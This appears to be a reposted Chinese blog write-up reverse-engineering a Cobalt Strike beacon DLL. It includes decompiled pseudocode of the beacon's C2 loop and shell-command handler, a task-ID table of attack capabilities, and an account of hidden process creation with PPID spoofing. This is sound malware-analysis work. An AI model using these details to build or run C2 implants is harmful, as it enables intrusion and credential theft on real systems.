HTTP 响应头字段
05C4Cookie
Cookie 头字段名

Spawn To 配置(进程生成模板)

偏移
用途
0279%windir%\syswow64\rundll32.exe
32 位进程 spawn 模板
02BF%windir%\sysnative\rundll32.exe
64 位进程 spawn 模板

这两个对应 sub_18000E6C4 中用 ExpandEnvironmentStringsA 展开的 spawnto 路径。

本人开始认为 powershell 命令执行模板的地址 0x18002D491 也被写在了配置模块中,但是解密后并没有匹配到 18002D491,只好作罢

sub_18000CA74() —— 主循环!

其实在这之前就卡住了,因为在 DllMain() 传入参数 fdwReason 为 1 的情况下 sub_18000CA74() 根本不会执行,但里面全部都是攻击行为,不执行又不太可能

ai 的解释是在 DllMain() 执行完毕返回给了上层的 exe,由 exe 再次调用 DllMain(fdwReason=4),解释有点牵强,而且在 exe 中负责提取 payload 的 sub_401795() 函数上下文中也没有发现相关代码 ,我们暂且按下不表,直接来看这个函数吧

__int64 sub_18000CA74()
{
  __int64 v0; // rbx
  unsigned int v1; // r12d
  char *v2; // r15
  int v3; // ebp
  _DWORD *v4; // r14
  int v5; // esi
  int v6; // edi
  unsigned __int16 v7; // ax
  unsigned int v8; // eax
  void *v9; // rdi
  const char *v10; // rax
  const char *v11; // rax
  unsigned int v12; // eax
  int v13; // ebx
  int v14; // eax
  int v15; // eax
  __int64 v16; // rdx
  const char *v19; // [rsp+30h] [rbp-48h]
  char *Buffer; // [rsp+90h] [rbp+18h]
  char *v21; // [rsp+98h] [rbp+20h]

  v0 = sub_180013D24(640);
  Buffer = (char *)sub_180013E78(v0, 256);
  sub_180013E78(v0, 256);
  v1 = 0;
  v2 = (char *)sub_180013E78(v0, 128);
  v21 = (char *)sub_180018630(8);
  sub_180018664(67);
  sub_1800185DC(68);
  sub_1800185DC(69);
  sub_1800185DC(70);
  sub_180018664(1);
  sub_180018664(2);
  v3 = sub_1800185DC(3);
  sub_1800185DC(19);
  sub_180018630(9);
  v19 = (const char *)sub_180018630(10);
  v4 = malloc(0x10u);
  v5 = sub_1800185DC(69);
  v6 = sub_1800185DC(70);
  LODWORD(v0) = sub_1800185DC(68);
  v7 = sub_180018664(67);
  sub_180018FC4((_DWORD)v4, v7, v0, v6, v5);
  if ( (unsigned int)sub_18000E614() )
    sub_180019104();
  dword_18003C000 = v3;
  dword_18003E468 = (unsigned __int16)sub_180018664(5);
  v8 = sub_1800185DC(4);
  v9 = malloc(v8);
  sub_1800185DC(4);
  sub_180013994(v9);
  while ( dword_18003C000 )
  {
    v10 = (const char *)sub_180018BC4(v21, v1, v4);
    snprintf(v2, 0x80u, "%s", v10);
    v1 = 0;
    v11 = (const char *)sub_180018BC4(v21, 0, v4);
    snprintf(Buffer, 0x80u, "%s", v11);
    dword_18003C004 = 1;
    snprintf(::Buffer, 0x100u, "%s", v19);
    sub_18000DFEC(v2);
    v12 = sub_1800185DC(4);
    v13 = sub_18000DF98(Buffer, &dword_180047740, v9, v12);
    if ( v13 > 0 )
    {
      v14 = sub_180018174(v9);
      v13 = v14;
      if ( v14 > 0 )
        sub_18001657C(v9, (unsigned int)v14);
    }
    if ( v13 == -1 )
    {
      v1 = 1;
    }
    else
    {
      sub_18001462C(sub_18000CDD8);
      v15 = sub_1800185DC(28);
      v16 = 0x80000;
      if ( v15 )
        v16 = 4096;
      sub_1800101A0(sub_18000CDD8, v16);
      sub_180012E70(sub_18000CDD8);
      sub_1800128FC(sub_18000CDD8, 0x80000);
      if ( (unsigned int)sub_18000E614() )
        sub_18000E6AC(sub_18000CDD8);
      if ( dword_18003E488 > 0 )
      {
        sub_18000DF6C();
        sub_18000DFEC(v2);
        sub_18000E1A0(::Buffer);
      }
    }
    sub_18000DF6C();
    if ( (unsigned int)sub_18000E614() )
      sub_180019104();
    if ( !dword_18003C000 )
      break;
    if ( dword_18003E468 )
    {
      if ( dword_18003C000 * dword_18003E468 / 0x64u )
        sub_18000E5F4();
    }
    sub_1800109F8();
  }
  free(v4);
  return sub_180019104();
}

md 又调用这么多函数,来看看 ai 分析的

while (sleep_counter > 0) {
    // 1. 获取 C2 服务器地址
    c2_uri = sub_180018BC4(config_table, failover_flag, metadata);
    
    // 2. HTTP/S 连接到 C2
    sub_18000DFEC(c2_host, c2_port, user_agent);
    //   → InternetOpenA → InternetConnectA → InternetSetOptionA
    
    // 3. HTTP GET 下载任务
    task_data = sub_18000DF98(c2_uri, config, buffer, max_size);
    //   → sub_18000DC5C → HttpOpenRequestA + HttpSendRequestA
    //   → InternetReadFile 接收响应
    
    // 4. 如果有响应数据
    if (response_size > 0) {
        // HMAC 验证 + AES 解密
        decrypted_size = sub_180018174(buffer);
        //  → 验证后16字节 HMAC
        //  → AES-CBC 解密 (sub_1800013A4 / sub_180001588)
        //  → 时间戳反重放检查
        
        // 5. 任务分发
        sub_18001657C(decrypted_data, decrypted_size);
        //  → 解析: [task_id(4B)][task_length(4B)][task_data]
        //  → 循环调用 sub_180015EC0(task_id, task_data, task_length)
    }
    
    // 6. 发送执行结果回 C2
    sub_18000CDD8(result_data, result_size, flag);
    //  → sub_18000D9F4 / sub_18000E3D4 → HTTP POST
    
    // 7. Sleep (beacon interval + jitter)
    Sleep(interval * 1000 + jitter);
}

本人到这已经力竭了,这么大的代码量根本不是给人看的

作为一个人类只能根据各个函数调用的 api 去大致分析功能

比如在 sub_18000DFEC() 函数中

存在大量如 InternetOpenAInternetSetOptionA 和 InternetConnectA 的 api 调用,可以猜测和建立 http 连接有关

还可以通过一些代码的特征片段来分析

比如在 sub_180018174() 调用的 sub_180001588() 函数中,存在强制校验 (v11 & 3) == 0,要求 4 字节长度对齐

还有下面这段

v16 每轮 +4,每轮 4 字节批量异或

都符合 AES 的特征,因此可以猜测 sub_180018174() 函数实现了 AES 的加密或解密

这很好理解,beacon 和 C2 之间肯定要加密通信的

我们来重点看一看 sub_18001657C() 调用的 sub_180015EC0

sub_180015EC0() —— 命令分发器

代码很长就不展示了,实际上就是一个巨大的 switch-case 分发器

Task ID
功能
实现函数
1
退出 Beacon
sub_180010C0C(flag=1)
3
文件上传
sub_18000EBC0
4
文件下载
sub_18000E670
9
文件浏览/列目录
sub_18000E820
14
进程列表
sub_180014140
15
进程注入
sub_18001433C
16
进程 Hollowing
sub_180014104
22Spawn + Inject (x86)sub_180010D08
27
令牌窃取/枚举
sub_18001262C
37远程执行 (WMI / DCOM)sub_1800124DC
44
横向移动 (SMB Beacon)
sub_180010C0C(flag=0)
47
键盘记录
sub_18000E8FC
53
截图
sub_1800143A0
54
端口扫描
sub_180010784
70Make Token (Pass-the-Hash)sub_180010EE4
71
环境变量设置
sub_18001034C
72
注册表操作
sub_1800107C4
78Shell 命令执行sub_18000E6C4
79
PowerShell 执行
sub_180014CD8
86SpawnAs (指定用户)sub_180013588
89
Spawn (空管道)
sub_180010C0C(flag=0)
92
Config 更新
sub_180015090
99注入执行 (Reflective DLL)sub_18000D038
100
内联执行 (BOF)
sub_1800112CC

好多啊不想看了,我们挑一个来分析吧

作为一个远控后门,最重要的当然是命令执行能力,因此我们来看一看负责 shell 命令执行的 sub_18000E6C4 函数

__int64 __fastcall sub_18000E6C4(__int64 a1, unsigned int a2)
{
  void *v4; // r12
  const CHAR *v5; // rbp
  void *v6; // rsi
  const char *v7; // r14
  char *v8; // r15
  __int64 v9; // rdx
  unsigned __int16 v10; // bx
  __int64 v11; // rax
  __int64 v12; // rax
  _BYTE v14[32]; // [rsp+20h] [rbp-48h] BYREF
  __int64 v15; // [rsp+80h] [rbp+18h] BYREF

  // 读取 C2 发来的数据
  v4 = (void *)sub_180013D24(0x8000);
  
  // 提取相应字段分别给 v5、v7 和 v10
  v5 = (const CHAR *)sub_180013E78(v4, 0x2000);    // v5:命令模板(包含环境变量,如 %COMSPEC%)
  v6 = (void *)sub_180013E78(v4, 0x2000);
  v7 = (const char *)sub_180013E78(v4, 0x2000);    // v7:命令参数/参数部分
  v8 = (char *)sub_180013E78(v4, 0x2000);
  sub_180013E30(v14, a1, a2);
  sub_180013F14(v14, v5, 0x2000);
  sub_180013F14(v14, v7, 0x2000);
  v10 = sub_180013EDC(v14, v9);                    // v10:一个标志位(控制是否使用加密/回传方式)
  
  // sub_180010904() 调用 ExpandEnvironmentStringsA api,将 %COMSPEC% 展开为 C:\Windows\system32\cmd.exe
  sub_180010904(v5, v6, 0x2000u);
  
  //拼接命令行
  strncat_s(v8, 0x2000u, (const char *)v6, 0x2000u);
  strncat_s(v8, 0x2000u, v7, 0x2000u);
  
  if ( (v10 & 1) != 0 )
  {
    sub_180010988(&v15);
    v11 = -1;
    do
      ++v11;
    while ( v8[v11] );
    sub_18000EF38(v8, (unsigned int)(v11 + 1), v10);
    sub_1800109C0(v15);
  }
  else
  {
    v12 = -1;
    do
      ++v12;
    while ( v8[v12] );
    sub_18000EF38(v8, (unsigned int)(v12 + 1), v10);
  }
  return sub_180013E0C(v4);
}

sub_18000EF38() 反编译失败了,估计和 ReflectiveLoader() 一样是手写的,大致看一下调用的 api 有 CreatePipeGetStartupInfoA 和 WaitForSingleObject,猜测功能是创建管道、创建进程、执行命令并读取回显的

脑子转不动了,最后还是要请出 ai

sub_18000EF38               → 创建进程并捕获输出
   └─ CreatePipe            → 创建匿名管道捕获 stdout/stderr
   └─ GetStartupInfoA       → 获取启动信息
   └─ sub_1800151C0         → CreateProcessA 包装
   │    └─ sub_180015010    → 组装参数
   │         └─ sub_180014D7C → 通用进程创建(支持多种 API)
   │              └─ CreateProcessA / CreateProcessAsUserA /
   │                 CreateProcessWithLogonW / CreateProcessWithTokenW
   └─ WaitForSingleObject   → 等待进程退出(10 秒超时)
   └─ sub_180012AC4         → 读取管道输出回传 C2

步骤一:创建匿名管道

  • CreatePipe — 创建一对匿名管道句柄(读端 + 写端),缓冲区 1MB,SECURITY_ATTRIBUTES.bInheritHandle = TRUE 确保子进程可以继承写端

步骤二:配置隐藏窗口 + 输出重定向

  • GetStartupInfoA — 获取默认启动信息
  • 覆写 STARTUPINFO
    • hStdOutput / hStdError 指向管道写端
    • hStdInput 置空
    • 标志位置 STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
    • wShowWindow = SW_HIDE

步骤三:多态进程创建(sub_180014D7C

根据当前是否有模拟令牌/凭据,动态选择一个 API:

  • CreateProcessA — 无令牌时直接创建
  • CreateProcessAsUserA — 以指定用户身份创建
  • CreateProcessWithTokenW — 窃取了令牌后以令牌身份创建
  • CreateProcessWithLogonW — 已知用户名密码时凭据登录创建

辅助操作(有令牌时):

  • OpenProcess — 打开父进程句柄
  • DuplicateHandle — 将 stdin/stdout/stderr 句柄复制到目标进程
  • UpdateProcThreadAttribute — 设置 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (PPID 欺骗)

步骤四:等待进程退出

  • WaitForSingleObject — 等待子进程结束,超时 10 秒

步骤五:注册异步 IO 读取

调用 sub_180012AC4 构造一个追踪结构体(包含管道读端句柄、进程句柄、30 秒总超时、标签 "process"),挂入 Beacons 主循环的全局链表中。主循环后续通过以下 API 异步读取输出:

  • PeekNamedPipe / ReadFile — 从管道读端拉取子进程的 stdout/stderr
  • 读取的数据经加密后回传 C2

ai 还是太厉害了,我是飞舞,只能在这水字数


好久没有这么酣畅淋漓地逆向过了,接下来一个月都不会打开 ida 了

(:3」∠)

转载声明:本文转载自原发布平台 (作者:正在思考ing), 原文标题《Cobalt Strike beacon 攻击链解析》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。